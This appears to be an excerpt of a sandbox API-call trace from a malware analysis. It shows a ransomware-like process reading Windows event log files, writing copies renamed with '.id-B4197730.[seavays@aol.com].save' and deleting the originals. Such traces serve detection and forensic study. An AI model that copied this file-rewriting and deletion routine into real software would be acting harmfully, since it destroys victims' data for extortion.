[0061.468] lstrlenW (lpString=".bz2") returned 4 [0061.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString=".7z") returned 3 [0061.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString=".dbf") returned 4 [0061.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString=".1cd") returned 4 [0061.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString=".jpg") returned 4 [0061.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString=".doc") returned 4 [0061.468] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString=".docx") returned 5 [0061.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.468] lstrlenW (lpString=".pdf") returned 4 [0061.469] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString=".xls") returned 4 [0061.469] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString=".xlsx") returned 5 [0061.469] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.469] lstrlenW (lpString=".ppt") returned 4 [0061.469] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.469] lstrlenW (lpString=".zip") returned 4 [0061.469] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString=".rar") returned 4 [0061.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString=".bz2") returned 4 [0061.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString=".7z") returned 3 [0061.469] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.469] lstrlenW (lpString=".dbf") returned 4 [0061.469] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.469] lstrlenW (lpString=".1cd") returned 4 [0061.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.469] lstrlenW (lpString=".jpg") returned 4 [0061.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.469] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.469] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0061.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.470] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0061.470] CloseHandle (hObject=0x370) returned 1 [0061.470] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0061.470] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.470] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0061.470] GetLastError () returned 0x0 [0061.470] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.828] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.830] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.830] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x136, lpOverlapped=0x0) returned 1 [0061.830] SetEndOfFile (hFile=0x2ec) returned 1 [0061.830] CloseHandle (hObject=0x2ec) returned 1 [0061.832] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.832] SetEndOfFile (hFile=0x370) returned 1 [0061.833] CloseHandle (hObject=0x370) returned 1 [0061.834] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.834] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0061.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.834] lstrlenW (lpString=".doc") returned 4 [0061.834] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.834] lstrlenW (lpString=".docx") returned 5 [0061.834] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.834] lstrlenW (lpString=".pdf") returned 4 [0061.834] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.834] lstrlenW (lpString=".xls") returned 4 [0061.834] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.834] lstrlenW (lpString=".xlsx") returned 5 [0061.834] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.834] lstrlenW (lpString=".ppt") returned 4 [0061.834] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString=".zip") returned 4 [0061.835] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".rar") returned 4 [0061.835] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".bz2") returned 4 [0061.835] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".7z") returned 3 [0061.835] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString=".dbf") returned 4 [0061.835] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString=".1cd") returned 4 [0061.835] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString=".jpg") returned 4 [0061.835] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.835] lstrlenW (lpString=".doc") returned 4 [0061.835] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".docx") returned 5 [0061.835] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.835] lstrlenW (lpString=".pdf") returned 4 [0061.835] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".xls") returned 4 [0061.835] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.835] lstrlenW (lpString=".xlsx") returned 5 [0061.835] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.835] lstrlenW (lpString=".ppt") returned 4 [0061.835] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.836] lstrlenW (lpString=".zip") returned 4 [0061.836] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString=".rar") returned 4 [0061.836] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString=".bz2") returned 4 [0061.836] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString=".7z") returned 3 [0061.836] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.836] lstrlenW (lpString=".dbf") returned 4 [0061.836] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.836] lstrlenW (lpString=".1cd") returned 4 [0061.836] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0061.836] lstrlenW (lpString=".jpg") returned 4 [0061.836] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.836] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.836] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0061.836] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.836] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0061.837] CloseHandle (hObject=0x370) returned 1 [0061.837] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0061.837] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.837] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.837] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.837] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.837] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0061.837] GetLastError () returned 0x0 [0061.837] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.848] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.850] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.850] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x152, lpOverlapped=0x0) returned 1 [0061.850] SetEndOfFile (hFile=0x2ec) returned 1 [0061.851] CloseHandle (hObject=0x2ec) returned 1 [0061.853] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.853] SetEndOfFile (hFile=0x370) returned 1 [0061.854] CloseHandle (hObject=0x370) returned 1 [0061.854] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.854] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0061.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.855] lstrlenW (lpString=".doc") returned 4 [0061.855] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".docx") returned 5 [0061.855] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.855] lstrlenW (lpString=".pdf") returned 4 [0061.855] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".xls") returned 4 [0061.855] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".xlsx") returned 5 [0061.855] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.855] lstrlenW (lpString=".ppt") returned 4 [0061.855] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.855] lstrlenW (lpString=".zip") returned 4 [0061.855] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".rar") returned 4 [0061.855] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".bz2") returned 4 [0061.855] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString=".7z") returned 3 [0061.855] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.855] lstrlenW (lpString=".dbf") returned 4 [0061.855] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.855] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.855] lstrlenW (lpString=".1cd") returned 4 [0061.855] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.856] lstrlenW (lpString=".jpg") returned 4 [0061.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.856] lstrlenW (lpString=".doc") returned 4 [0061.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".docx") returned 5 [0061.856] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.856] lstrlenW (lpString=".pdf") returned 4 [0061.856] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".xls") returned 4 [0061.856] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".xlsx") returned 5 [0061.856] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.856] lstrlenW (lpString=".ppt") returned 4 [0061.856] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.856] lstrlenW (lpString=".zip") returned 4 [0061.856] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".rar") returned 4 [0061.856] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".bz2") returned 4 [0061.856] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.856] lstrlenW (lpString=".7z") returned 3 [0061.856] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.857] lstrlenW (lpString=".dbf") returned 4 [0061.857] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.857] lstrlenW (lpString=".1cd") returned 4 [0061.857] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.857] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0061.857] lstrlenW (lpString=".jpg") returned 4 [0061.857] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.857] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.857] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0061.857] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.857] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0061.857] CloseHandle (hObject=0x370) returned 1 [0061.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0061.857] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.858] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.858] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0061.858] GetLastError () returned 0x0 [0061.858] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.085] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.086] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.087] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x136, lpOverlapped=0x0) returned 1 [0062.087] SetEndOfFile (hFile=0x2ec) returned 1 [0062.087] CloseHandle (hObject=0x2ec) returned 1 [0062.089] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.089] SetEndOfFile (hFile=0x370) returned 1 [0062.090] CloseHandle (hObject=0x370) returned 1 [0062.090] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.467] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0062.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.467] lstrlenW (lpString=".doc") returned 4 [0062.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.467] lstrlenW (lpString=".docx") returned 5 [0062.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.467] lstrlenW (lpString=".pdf") returned 4 [0062.467] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.467] lstrlenW (lpString=".xls") returned 4 [0062.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.467] lstrlenW (lpString=".xlsx") returned 5 [0062.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.467] lstrlenW (lpString=".ppt") returned 4 [0062.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.467] lstrlenW (lpString=".zip") returned 4 [0062.467] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.467] lstrlenW (lpString=".rar") returned 4 [0062.467] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString=".bz2") returned 4 [0062.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString=".7z") returned 3 [0062.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString=".dbf") returned 4 [0062.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString=".1cd") returned 4 [0062.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString=".jpg") returned 4 [0062.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0062.468] lstrlenW (lpString=".doc") returned 4 [0062.468] 